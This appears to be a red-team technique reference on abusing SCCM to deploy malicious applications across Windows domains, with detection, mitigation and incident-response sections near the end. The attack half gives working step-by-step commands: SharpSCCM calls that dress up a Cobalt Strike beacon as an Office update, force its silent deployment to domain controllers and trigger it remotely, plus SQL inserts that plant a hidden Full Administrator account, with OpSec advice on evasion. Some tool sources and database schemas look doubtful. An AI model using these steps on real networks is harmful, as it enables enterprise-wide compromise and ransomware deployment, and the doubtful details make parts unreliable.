| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SCHED-004 |
| MITRE ATT&CK v18.1 | T1053.005 - Scheduled Task/Job: Scheduled Task (adapted for SCCM context); T1570 - Lateral Tool Transfer |
| Tactic | Persistence (TA0003) / Lateral Movement (TA0008) |
| Platforms | Windows AD (via SCCM), Windows Endpoint, Windows Server |
| Severity | Critical |
| CVE | N/A (configuration-based attack, but CVE-2024-43468 enables RCE on SCCM server) |
| Technique Status | ACTIVE (Actively exploited in the wild, especially with SCCM admin compromise) |
| Last Verified | 2026-01-09 |
| Affected Versions | All SCCM versions (ConfigMgr 2103, 2203, 2303, 2309, 2403, 2409); Windows AD integrated |
| Patched In | N/A - Requires policy enforcement; CVE-2024-43468 patch: KB5039580 (January 2025) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: System Center Configuration Manager (SCCM) is an enterprise systems management platform designed to deploy software, manage configurations, and enforce compliance across thousands of Windows devices in a domain. An attacker with compromised SCCM administrative credentials or remote code execution on the SCCM server can abuse the legitimate SCCM infrastructure to:
This is fundamentally different from traditional scheduled tasks because SCCM’s role is to manage deployments at an organization level, making this attack particularly dangerous in enterprise environments.
Attack Surface: The attack targets SCCM administrative infrastructure:
Business Impact: Enterprise-wide compromise with centralized persistence and lateral movement. An attacker can:
Technical Context: Malicious deployment takes 2-10 minutes (collection creation, app creation, deployment creation). The attack is extremely stealthy because:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | Windows-13 | Ensure that SCCM Admin rights are restricted; Monitor SCCM deployments |
| DISA STIG | SI-7(2) | Information System Monitoring – Monitor for unauthorized SCCM deployments |
| CISA SCuBA | SCCM Security Baseline | Secure SCCM administrative access and monitor for suspicious deployments |
| NIST 800-53 | AC-6, SA-10 | Least Privilege (restrict SCCM admin access); Software, Firmware, and Information Integrity Monitoring |
| GDPR | Art. 32 | Security of Processing – Prevent unauthorized software deployments across the organization |
| DORA | Art. 9 | Protection and Prevention – Detect and prevent unauthorized mass deployment of malware |
| NIS2 | Art. 21 | Cyber Risk Management – Monitor systems management platforms for abuse |
| ISO 27001 | A.9.1.1 | User Registration and De-registration – Control access to systems management platforms |
| ISO 27005 | Risk Scenario | “Compromise of Centralized Management System” – Unauthorized deployment of malicious software at scale |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Discover SCCM site server via LDAP
$ldapPath = "LDAP://CN=System,CN=Microsoft,CN=Windows,CN=Sites,CN=Configuration,DC=yourdomain,DC=com"
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
$searcher.Filter = "(cn=*SMS*)"
$results = $searcher.FindAll()
foreach ($result in $results) {
Write-Host "Found SCCM object: $($result.Path)"
}
# Enumerate SCCM site servers
[System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new("LDAP://CN=System Management Container")).Filter = "(&(objectClass=mSSMSSiteServer))"
What to Look For:
# Check if current user has SCCM administrative rights
$smsProvider = Get-WmiObject -Namespace "root\sms" -Class "__Namespace" -List
if ($smsProvider) {
Write-Host "[+] SCCM SMS Provider is accessible"
# Enumerate SCCM site code
$site = Get-WmiObject -Namespace "root\sms" -Class "SMS_Site" | Select-Object SiteCode, SiteName
Write-Host "[+] SCCM Site Code: $($site.SiteCode)"
}
# Check if user has Full Administrator role
# (Requires WMI query to SCCM database)
What to Look For:
# List all device collections
$collections = Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_Collection" -Filter "CollectionType=2"
foreach ($collection in $collections) {
Write-Host "Collection: $($collection.Name) - ID: $($collection.CollectionID)"
}
# Count devices in each collection
foreach ($collection in $collections) {
$devices = Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_CollectionMembershipRule" -Filter "CollectionID='$($collection.CollectionID)'"
Write-Host "$($collection.Name): $($devices.Count) devices"
}
Supported Versions: ConfigMgr 2103+ (AdminService API available)
Objective: Authenticate to SCCM AdminService and obtain a valid authentication token
Command (PowerShell - Using current user context):
# Set variables
$SCCMServer = "sccm-server.yourdomain.com"
$AdminServiceURI = "https://$SCCMServer/AdminService/v1"
# Authenticate using current user (must be SCCM admin)
$credential = Get-Credential # Use SCCM admin account
# Create a session to AdminService
$session = New-PSSession -ComputerName $SCCMServer -Credential $credential
# Test connectivity
Invoke-WebRequest -Uri "$AdminServiceURI/Version" -UseDefaultCredentials -SkipCertificateCheck
if ($?) {
Write-Host "[+] AdminService authentication successful"
} else {
Write-Host "[-] AdminService authentication failed"
}
Expected Output:
StatusCode : 200
StatusDescription : OK
Content : {"ApplicationVersion":"2309.2313"}
What This Means:
Objective: Register a new application object in SCCM database that points to malicious payload
Command (PowerShell - Using SharpSCCM):
# Download and execute SharpSCCM
Invoke-WebRequest -Uri "https://github.com/GhostSec/SharpSCCM/releases/download/v1.9/SharpSCCM.exe" -OutFile "C:\temp\SharpSCCM.exe"
# Create malicious application
# Payload: Cobalt Strike beacon (copy-pasted to C:\temp\beacon.exe)
C:\temp\SharpSCCM.exe create application `
-name "Microsoft Office 2024 Update" `
-manufacturer "Microsoft Corporation" `
-description "Critical security update for Microsoft Office" `
-app-type "ApplicationDeployment" `
-app-path "\\SCCM-SERVER\CCMDeploy\beacon.exe" `
-app-parameters "-silent -persist" `
-repo https://sccm-server.yourdomain.com:443/AdminService/v1 `
-username "DOMAIN\sccmadmin" `
-password "SecurePassword123!"
Expected Output:
[+] Application created successfully: Microsoft Office 2024 Update
[+] Application ID: SoftwareUpdates_XXXXX
[+] DeploymentType created: DeploymentType_Standard
What This Means:
OpSec & Evasion:
Objective: Create a collection containing the target devices for deployment
Command (PowerShell - Using SharpSCCM):
# Create a new collection with a legitimate-sounding name
C:\temp\SharpSCCM.exe create collection `
-name "Windows 10 Enterprise Devices - Patch Group 3" `
-description "Devices requiring critical security updates" `
-collection-type "Device" `
-repo https://sccm-server.yourdomain.com:443/AdminService/v1 `
-username "DOMAIN\sccmadmin" `
-password "SecurePassword123!"
# Add specific device(s) to the collection
# Option 1: Add by device name
C:\temp\SharpSCCM.exe create collection-member `
-collection-id "ABC00001" `
-device-name "DC01" ` # Add domain controller to collection
-repo https://sccm-server.yourdomain.com:443/AdminService/v1
# Option 2: Add by collection query rule (all domain controllers)
C:\temp\SharpSCCM.exe create collection-rule `
-collection-id "ABC00001" `
-rule-name "All Domain Controllers" `
-rule-query "select SMS_R_System.* from SMS_R_System where SMS_R_System.OSType = '10' and SMS_R_System.Role = 'DomainController'" `
-repo https://sccm-server.yourdomain.com:443/AdminService/v1
Expected Output:
[+] Collection created: Windows 10 Enterprise Devices - Patch Group 3
[+] Collection ID: ABC00001
[+] Added member: DC01
[+] Added query rule: All Domain Controllers (estimated 5 members)
What This Means:
Objective: Deploy the malicious application to the created collection with required installation
Command (PowerShell - Using SharpSCCM):
# Create deployment with forced installation
C:\temp\SharpSCCM.exe create deployment `
-app-id "SoftwareUpdates_XXXXX" `
-collection-id "ABC00001" `
-deployment-type "Required" ` # Required = forces installation
-installation-deadline "2025-01-09 14:00:00" `
-installation-purpose "Required" `
-available-date "2025-01-09 13:00:00" `
-notify-user "Yes" `
-allow-user-interact "No" ` # No user interaction required
-repo https://sccm-server.yourdomain.com:443/AdminService/v1 `
-username "DOMAIN\sccmadmin" `
-password "SecurePassword123!"
Expected Output:
[+] Deployment created successfully
[+] Deployment ID: ABC00002
[+] Target Collection: ABC00001 (5 devices)
[+] Installation Deadline: 2025-01-09 14:00:00 UTC
[+] Deployment Type: Required
What This Means:
OpSec & Evasion:
Objective: Force target devices to immediately request their policy and execute the deployment
Command (PowerShell):
# Force policy evaluation on target devices
# Option 1: Via machine policy client action WMI call
$computerNames = @("DC01", "SERVER01", "WORKSTATION02")
foreach ($computer in $computerNames) {
$invokeWmiMethod = @{
ComputerName = $computer
Namespace = "root\ccm"
ClassName = "SMS_Client"
MethodName = "TriggerSchedule"
ArgumentList = "{00000000-0000-0000-0000-000000000113}" # GUID for policy evaluation
}
Invoke-WmiMethod @invokeWmiMethod -Credential $credential
Write-Host "[+] Policy evaluation triggered on $computer"
}
# Option 2: Using PowerShell Remoting (if enabled)
Invoke-Command -ComputerName $computerNames -Credential $credential -ScriptBlock {
[wmiclass]"\\.\root\ccm:SMS_Client" | Invoke-WmiMethod -Name TriggerSchedule -ArgumentList("{00000000-0000-0000-0000-000000000113}")
Write-Host "[+] Policy evaluation triggered"
}
Expected Output:
[+] Policy evaluation triggered on DC01
[+] Policy evaluation triggered on SERVER01
[+] Policy evaluation triggered on WORKSTATION02
What This Means:
Supported Versions: All SCCM versions (requires SQL database access)
Objective: Obtain administrative access to the SCCM SQL Server database
Command (PowerShell - If you have local admin on SCCM server):
# Connect to local SCCM SQL instance
$sqlInstance = "SCCM-Server\ConfigMgr"
$sqlDatabase = "CM_XXX" # Replace XXX with site code
# Connect using Windows authentication (current user must be SQL admin)
$connection = New-Object System.Data.SqlClient.SqlConnection
$connection.ConnectionString = "Server=$sqlInstance;Database=$sqlDatabase;Integrated Security=true;"
$connection.Open()
if ($connection.State -eq "Open") {
Write-Host "[+] Connected to SCCM database successfully"
} else {
Write-Host "[-] Failed to connect to SCCM database"
}
$connection.Close()
Objective: Directly insert a new SCCM administrator into the database, bypassing role-based access control
Command (SQL - Executed against SCCM database):
-- Get current user's SID (in hex format)
-- First, find an existing admin to understand the structure
SELECT AdminID, AdminName, LogonName, AccountStatus
FROM RBAC_Admins
WHERE AdminName LIKE '%sccmadmin%'
-- Create new admin user in database
DECLARE @AdminID INT;
SELECT @AdminID = MAX(AdminID) + 1 FROM RBAC_Admins;
INSERT INTO RBAC_Admins (AdminID, AdminName, LogonName, DisplayName, AdminType, AccountStatus, CreatedDate, CreatedBy, ModifiedDate, ModifiedBy)
VALUES (@AdminID, 'EvilAdmin', 'YOURDOMAIN\EvilUser', 'Legitimate Support Account', 3, 1, GETDATE(), 'SYSTEM', GETDATE(), 'SYSTEM');
-- Grant Full Administrator role (SMS0001R) to the new user
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES (@AdminID, 'SMS0001R', 'SMS00ALL', '29'); -- SMS00ALL = all scopes
-- Verify insertion
SELECT * FROM RBAC_Admins WHERE LogonName LIKE '%EvilUser%'
Expected Output:
(1 row affected)
(1 row affected)
AdminID AdminName LogonName DisplayName AdminType AccountStatus
-------- ----------- ----- --------- --------- ---------
42 EvilAdmin YOURDOMAIN\EvilUser Legitimate Support Account 3 1
What This Means:
Follow the same steps as METHOD 1, Steps 2-5, but using the new database-created admin account
Version: 1.9+
Installation:
# Download from GitHub releases
Invoke-WebRequest -Uri "https://github.com/GhostSec/SharpSCCM/releases/download/v1.9/SharpSCCM.exe" -OutFile "SharpSCCM.exe"
Key Commands:
# Enumerate SCCM
SharpSCCM.exe get site-push-settings -mp <management-point> -sc <site-code>
# Create application
SharpSCCM.exe create application -name "AppName" -app-path "\\server\share\payload.exe"
# Create deployment
SharpSCCM.exe create deployment -app-id <app-id> -collection-id <coll-id> -deployment-type "Required"
# Execute arbitrary query
SharpSCCM.exe execute query -query "SELECT * FROM SMS_Collection" -repo <api-url> -username <user> -password <pass>
Version: 1.0+
Installation:
git clone https://github.com/nettitude/MalSCCM.git
cd MalSCCM
Key Commands:
# Remote SCCM exploitation without requiring local access
python3 MalSCCM.py -server <sccm-server> -site-code <code> -target-device <device-name> -payload <payload-path>
Rule Configuration:
main (Windows Event Logs), sccm_logsWinEventLog:System, ConfigMgr_StatusMessagesSPL Query:
index=sccm_logs OR index=main sourcetype=ConfigMgr_StatusMessages
| search MessageID=30000 OR MessageID=30041
| search (NewApplicationName NOT IN ("Microsoft Office", "Windows Defender", "Adobe Reader"))
| stats count by CreatedBy, NewApplicationName, CollectionName, _time
| where count > 0
| table _time, CreatedBy, NewApplicationName, CollectionName
What This Detects:
SPL Query:
index=sccm_logs MessageID=30065
| search NewCollectionName NOT IN ("All Systems", "All Users and User Groups", "Windows 10", "Windows 11")
| where DaysOld < 7
| stats count by ModifiedBy, NewCollectionName, _time
| where count > 3
What This Detects:
Rule Configuration:
AuditLogs, CloudAppEventsKQL Query:
CloudAppEvents
| where Application == "ConfigurationManager" OR Application == "SCCM"
| where ActionType in ("AdminService", "CreateApplication", "CreateDeployment", "ModifyCollection")
| where InitiatingUser !in ("SCCMServiceAccount", "ConfigMgrAdmin") // Exclude service accounts
| summarize EventCount = count() by InitiatingUser, ActionType, bin(TimeGenerated, 5m)
| where EventCount > 5 // Multiple actions in 5 minutes = suspicious
| project TimeGenerated, InitiatingUser, ActionType, EventCount
What This Detects:
KQL Query:
let HighValueCollections = dynamic(["All Domain Controllers", "All Servers", "Critical Infrastructure"]);
let SuspiciousDeployments = ConfigManagerEvents
| where EventType == "ApplicationDeploymentCreated"
| where TargetCollectionName in (HighValueCollections)
| where CreatedBy !in ("ConfigMgrAdmin", "SCCM_ServiceAccount");
SuspiciousDeployments
| extend AppName = tostring(parse_json(Properties).ApplicationName)
| extend CreatedTime = todatetime(CreatedDateTime)
| project TimeGenerated = CreatedTime, User = CreatedBy, App = AppName, TargetCollection = TargetCollectionName
Event ID: 4688 (Process Creation)
ParentImage=*ccmexec.exe AND CommandLine contains ("cmd", "powershell", "\\\\", "http")Event ID: 4674 (Sensitive Privilege Use)
Manual Configuration (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Detect SCCM client spawning command shells -->
<ProcessCreate onmatch="include">
<ParentImage condition="image">ccmexec.exe</ParentImage>
<Image condition="image">cmd.exe;powershell.exe;bash.exe</Image>
</ProcessCreate>
<!-- Detect SCCM-related network activity to unusual destinations -->
<NetworkConnect onmatch="include">
<Image condition="contains">ccmexec;CcmExec</Image>
<DestinationPort condition="exclude">80;443;3389;445</DestinationPort>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Alert Name: “Suspicious SCCM management activity detected”
1. Restrict SCCM Administrative Access via RBAC
Implement the principle of least privilege within SCCM.
Manual Steps (SCCM Console):
Manual Steps (SQL - Create custom role):
-- Create a limited "Software Packager" role (no deployment rights)
INSERT INTO RBAC_Roles (RoleID, RoleName, Description, IsBuiltIn, IsVisible)
VALUES ('SMS0005R', 'Software Packager', 'Can create applications but not deploy', 0, 1);
-- Grant only application management permissions
INSERT INTO RBAC_Permissions (RoleID, PermissionID, PermissionType)
VALUES ('SMS0005R', 'SMS0001', 'APPLICATION'); -- APPLICATION_READ
2. Enable SCCM Audit Logging and Monitor for Suspicious Activities
Manual Steps (SCCM Console):
Manual Steps (PowerShell):
# Enable auditing for all SCCM events
$smsProvider = Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_SiteSystemServer" -Filter "RoleName LIKE '%SMS Provider%'"
# Enable audit logging
Set-WmiInstance -InputObject $smsProvider -Arguments @{LogEnabled=$true}
3. Implement Network Segmentation for SCCM Infrastructure
Manual Steps:
Network ACL Rules:
Allow: Domain Admins → SCCM Server:445 (SMB)
Allow: SCCM Clients → SCCM Server:80,443 (HTTP)
Allow: SCCM Server → SQL Server:1433 (Database)
Deny: All other traffic
4. Require Multi-Factor Authentication for SCCM Administrative Access
Manual Steps (Entra ID + Conditional Access):
5. Monitor SCCM AdminService API Access
Manual Steps:
6. Implement Application Whitelisting for SCCM Deployments
Manual Steps:
Validation Command (Verify Mitigations):
# Check SCCM admin accounts and their roles
$admins = Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_Admin"
foreach ($admin in $admins) {
Write-Host "Admin: $($admin.Name) - Role: $($admin.RoleID)"
}
# Expected Output: Limited roles assigned, no service accounts with Full Admin
# Verify audit logging is enabled
$provider = Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_SiteSystemServer" -Filter "RoleName LIKE '%SMS Provider%'"
Write-Host "Audit Logging Enabled: $($provider.LogEnabled)"
# Expected Output: True
SCCM Database Artifacts:
Network Artifacts:
File System:
SCCM Logs:
C:\Program Files\Microsoft Configuration Manager\Logs\ - SCCM site server logsApplicationDeployment, Collection, AdminService related messagesC:\Windows\CCM\Logs\ - SCCM client agent logsSQL Database:
RBAC_Admins table for unauthorized accountsdbo.vAdmin view for admin auditdbo.vApplicationDeployment for deployed applicationsCM_<SiteCode>.dbo.vStatusMessagesWithStringsWindows Event Logs:
1. Isolate:
# Disable SCCM client service on suspected systems
Stop-Service -Name "ccmexec" -Force
# Disable SCCM client startup
Set-Service -Name "ccmexec" -StartupType Disabled
# Disconnect network if ransomware suspected
Disable-NetAdapter -Name "*" -Confirm:$false
2. Collect Evidence:
# Export SCCM database for forensics
Backup-SqlDatabase -ServerInstance "SCCM-Server\ConfigMgr" -Database "CM_XXX" -BackupFile "C:\incident\SCCM_Backup.bak"
# Export audit logs from SCCM
Get-EventLog -LogName "Application" -Source "ConfigMgr" -Newest 1000 | Export-Csv "C:\incident\SCCM_Events.csv"
# Collect CCMCache for analysis
Copy-Item -Path "C:\Windows\CCMCache" -Destination "C:\incident\CCMCache" -Recurse
3. Remediate:
# Delete malicious application from SCCM
# (Requires SCCM console or SQL access)
# Delete malicious deployment
# (Requires SCCM console)
# Delete malicious collection
# (Requires SCCM console)
# Remove unauthorized admin accounts from database
# (Requires SQL access)
DELETE FROM RBAC_Admins WHERE AdminName = 'EvilAdmin'
DELETE FROM RBAC_ExtendedPermissions WHERE AdminID = <suspicious-id>
# Reset SCCM admin credentials
# (Via SCCM console)
# Force policy refresh on all clients
# (Via SCCM console: Administration → Collections → Target Collection → Client Notification → Download Computer Policy)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker compromises SCCM admin account via phishing |
| 2 | Persistence | [PERSIST-CLOUD-001] Entra ID Backdoor | Attacker establishes persistent cloud identity access |
| 3 | Privilege Escalation | [PE-VALID-008] SCCM NAA Privilege Escalation | Attacker escalates to full SCCM admin via Network Access Account |
| 4 | Current Step | [PERSIST-SCHED-004] | Attacker deploys malicious applications via SCCM |
| 5 | Lateral Movement | [LM-AUTH-012] SCCM Credential Harvesting | Attacker uses SCCM to target Domain Controllers for credential theft |
| 6 | Impact | [I-RANSOM-001] Ransomware via SCCM | Attacker deploys RansomExx to all managed endpoints |
Check SCCM Accessibility:
# Verify SMS Provider access
Get-WmiObject -Namespace "root\sms" -Class "__Namespace" -List
# Enumerate SCCM sites
Get-WmiObject -Namespace "root\sms" -Class "SMS_Site" | Select-Object SiteCode, SiteName
# Expected output: SCCM site information if accessible
Enumerate Managed Devices:
# Count managed devices
Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Class "SMS_R_System" | Measure-Object
# Expected output: Number of managed endpoints